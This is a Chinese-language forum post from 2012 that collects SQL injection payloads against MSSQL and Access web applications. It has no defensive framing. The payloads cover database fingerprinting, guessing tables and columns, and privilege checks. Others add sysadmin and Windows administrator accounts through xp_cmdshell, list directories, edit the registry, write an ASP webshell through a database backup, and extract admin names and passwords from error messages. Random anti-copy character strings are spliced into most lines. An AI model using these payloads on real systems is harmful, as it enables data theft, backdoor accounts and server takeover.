找回密码
 立即注册
查看: 2238|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
. [; t& o# h3 v2 h;and 1=1
6 I9 C* {" _; E' E6 P6 h;and 1=2 6 d( R1 M  W8 F& p$ g8 u0 |; u5 @
2 x% s( f+ N: N
2.初步判断是否是mssql
. r$ w. w  l/ c, P;and user>0 : A1 `: B/ ]4 ^3 ^

2 n5 h" g0 ]' B3.判断数据库系统
( z8 }2 P$ x6 w- S% M;and (select count(*) from sysobjects)>0 mssql
, g7 n9 B" F: D* O* D! I8 L9 ~( d;and (select count(*) from msysobjects)>0 access : t+ Z& ^0 y: [% \! |( |) T

; q, N1 |2 c$ f( G% W9 z4.注入参数是字符
3 a& N! P5 W, J. j'and [查询条件] and ''='
$ U) u+ l* r7 O# u; o% E  E; u, h7 y
4 ^6 C3 ?! C" A  {7 Z0 `5.搜索时没过滤参数的
% r+ b" a; y4 \" g2 E+ i'and [查询条件] and '%25'=' / `  P; m2 n4 u' Y( v4 B% F

( `" t; [+ ], F$ e& x& E: X$ N0 k( n6.猜数表名 * a$ ~' q4 Z/ D1 ]# c' [  s* ]: O
;and (select Count(*) from [表名])>0 ; x  j( `0 K" i$ l

% ^' [9 y6 a8 ?% `9 Z, l% N- T7.猜字段 ( M$ ^+ e# |1 Y4 U& w
;and (select Count(字段名) from 表名)>0
- G8 w9 X) x, X% v- \, g
# I& I9 P" u7 Y; x( j. w8.猜字段中记录长度 1 o8 ^% v  L1 ~3 i5 `9 z" q+ U
;and (select top 1 len(字段名) from 表名)>0 " m$ t% }8 I2 Z! `3 N

) o( H3 |# w/ M) }$ l% M9.(1)猜字段的ascii值(access)
4 ]( n1 v4 T3 B6 |;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
, Y+ Z' F0 Y9 b1 S1 s* O) `* Y; R) n( g3 o$ a" p
(2)猜字段的ascii值(mssql) # ~3 N' Q# Q9 n2 }. n4 C* e
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 % h, w6 w9 a8 f) t2 N  l

$ ^: Q* v2 y3 s6 k5 U% m) r; u10.测试权限结构(mssql)
, \% m: s: c" w! F, z7 [; F) y;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- + y& U3 e- n$ S3 j0 _
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8 E- h1 N7 C7 v: h* L
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ! Q# v, i6 X2 v9 b" [; a$ {. H4 y
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
, a) n( \4 x. E( G3 \;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
  D6 s+ j% I: D;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ( R  W" A/ G  Z
;and 1=(select IS_MEMBER('db_owner'));-- 1 ~$ E$ z: k+ L! S( I. V
) M5 I/ z1 _# F+ ]- X0 U/ D
11.添加mssql和系统的帐户
9 N0 d4 h  [! L8 `* J. Q;exec master.dbo.sp_addlogin username;--
1 j! j+ L) t- O8 }6 {$ P7 n% x8 t, J;exec master.dbo.sp_password null,username,password;-- % m1 E) z* w% g, V
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
- @. l# T2 y" o  V;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
+ X) r3 l$ L- e3 [  N  B0 m;exec master.dbo.xp_cmdshell 'net user username password /add';-- $ ~' R( N8 L1 c  |
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ ?% N5 u" b! H$ h; s; T- L8 w- t- N( w: P
12.(1)遍历目录
9 o  ?% J3 C+ e; F7 G7 d& g6 e;create table dirs(paths varchar(100), id int)
- }/ C0 K9 u8 p) K: ^' S, ];insert dirs exec master.dbo.xp_dirtree 'c:\' 1 n$ s" }) V6 a# A+ R4 ?% B' t
;and (select top 1 paths from dirs)>0 1 s. K# {) e  l* s5 K! ]
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) * M5 g1 b5 g, u
0 K+ l7 t7 N1 k5 M" c  c) d  E
(2)遍历目录
0 _# ^1 s: k6 B+ E3 q;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
3 w' u' h( }) I9 _;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 " s3 [1 |2 @( K
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ) E' f% F8 l. e, G2 H" _
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
) A( c: K$ q' x! L' z& A;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ' M7 _8 P* Z" E) t4 ^$ N5 d

* E  t4 O/ D4 r) F0 t9 f13.mssql中的存储过程 6 M' ?$ N0 ~" c" W; ^3 h6 z6 v
xp_regenumvalues 注册表根键, 子键
& z( u; Z; w$ o: w) D  q;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7 ]4 @: t0 V0 |( d4 J
xp_regread 根键,子键,键值名
6 s& J2 P/ Z0 D, G: M;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
0 o! b% E6 l' R7 \9 f: Z* n6 I+ Q/ uxp_regwrite 根键,子键, 值名, 值类型, 值
3 M8 M/ H2 @! g2 i& M值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ) K+ t7 X3 I0 \" v2 s
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 - Y/ ?, i, F: M
xp_regdeletevalue 根键,子键,值名 , Q% v1 Y8 l6 ^5 w5 I/ a- ^1 p
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
: ]5 g9 b, l6 @3 _* u  Yxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 * U3 u- t' T  ^, e! R7 y" `: q+ }
( N7 k1 z5 Z& `# G8 l5 _4 M: F/ ]
14.mssql的backup创建webshell
0 ~2 z" {# u8 Q! J/ c% l/ Zuse model 6 _, L" {6 h6 B/ S5 ]
create table cmd(str image); % Y2 v8 c* S0 z& @2 s5 {( i; q
insert into cmd(str) values ('<% Dim oScript %>'); # n9 n" y! `% Q) L* ?
backup database model to disk='c:\l.asp'; ) [6 X3 A! \3 R! n4 ^& N0 l/ s
* c+ [# P2 p4 p
15.mssql内置函数
" _$ V3 L% U4 F; @; t/ Z1 ?;and (select @@version)>0 获得Windows的版本号 & p/ ^% q, |+ z0 q" U
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 }" i' }( N5 M;and (select user_name())>0 爆当前系统的连接用户
3 J" {8 K9 H8 M7 _1 r;and (select db_name())>0 得到当前连接的数据库 9 d. i; S4 r: C9 f! \4 E, |
( R, s5 i( }% D( z4 @& f1 \9 \

0 a0 w* U! m8 R* }6 k
9 @# q8 S- @) f. u8 qMSSQL手注暴库9 i* S$ @7 r8 H* j
. j) K5 T$ Q3 D# r: v
1.暴出当前表名和列名1 @6 L+ f% ^1 @! G
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
3 ]4 q3 b# g! M5 B" E* ~
. U# W4 u8 k8 V! j0 g第一.爆出所有数据库名
5 c# v2 C, Z  F2 t; h& V& j+ k7 h; ~- x利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
. [( t  t9 ?8 t6 X. O9 g第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。/ K( C/ o/ l/ q6 h2 u6 f

; a; z  o" ^1 l9 ]and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名+ s+ V* V8 X6 z
" T: i9 b6 f+ U% P* j
# e- N3 a: n( I
第二.爆出指定库中的所有表名+ V- a' M2 h. Z& q
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
6 r3 Q. @; G) I( V/ _+ D5 n再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
7 X3 V2 x, v1 ^& @( O* A7 F5 t  k4 M$ V* a
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--( K9 k0 w  Q9 `, I
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
  o+ Z# L% S+ o! I$ ^) C' m1 pand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--9 A3 V, \- Y5 J* k6 ~8 }1 V6 k
! y! [$ E4 {8 z3 j7 [, N  L9 N
4.爆出指定表中的所有列名
. b" Y+ \, O# u3 Cand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ! ]8 j- B9 T, m5 D( ~, R$ _
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'* Y/ H0 U1 R" v7 m: u5 N+ M

  {# o+ V  J2 \6 Rand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名0 V& K. @8 g1 j8 C$ T8 r$ L
: [+ B( W1 V! g0 I. v2 K& }6 _
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- - P6 E/ u& u5 r  H+ z
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。9 k( n5 J) v! V/ m
3 J9 z/ [% r) r: y; `; x

5 j8 p. E5 _+ H" ?( t3 kand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
1 Y& Z9 C: G( X* \
# H, e8 V4 F! E' n8 Land 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
  Y" T) B; i2 `6 H( o- p
7 R' m6 s. S, {; J- u6 X( mand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- , n! Q: }/ I8 |8 ^* z% r" F
: A- m2 h. z" m4 U* C9 F2 Q

0 W* I9 K! h) x. {, k% r/ }
  G3 [0 Q; B; W% R$ ~5.读取指定表中的数据6 L3 O+ ^+ E. h, f) R9 I6 i
1 {* [; H0 M4 i2 p
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 0 g9 l! `6 r* }5 g4 j

0 A, v5 ?/ c# M9 sand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--3 g! n% A: j4 T7 j
; O- n* f4 y" d/ q1 [8 [. Q7 b
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
( Q5 l8 |5 L& t8 F$ a- r, |# M: {" k/ p

" D7 O) Q# o3 q/ x9 \. b% {and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
, ?( Q% ~+ h! N9 C1 I' ]6 t/ ~  W% x+ U) W+ U, L3 K( C3 Y9 D
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)4 J& s6 @  Y7 w( S- |9 H$ c! z7 {
+ Z+ }( z, A0 n' |
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
8 _! Z; ?/ L( e: V; D  B7 m! [  A  C
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。! Q3 _( [# _4 k- o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表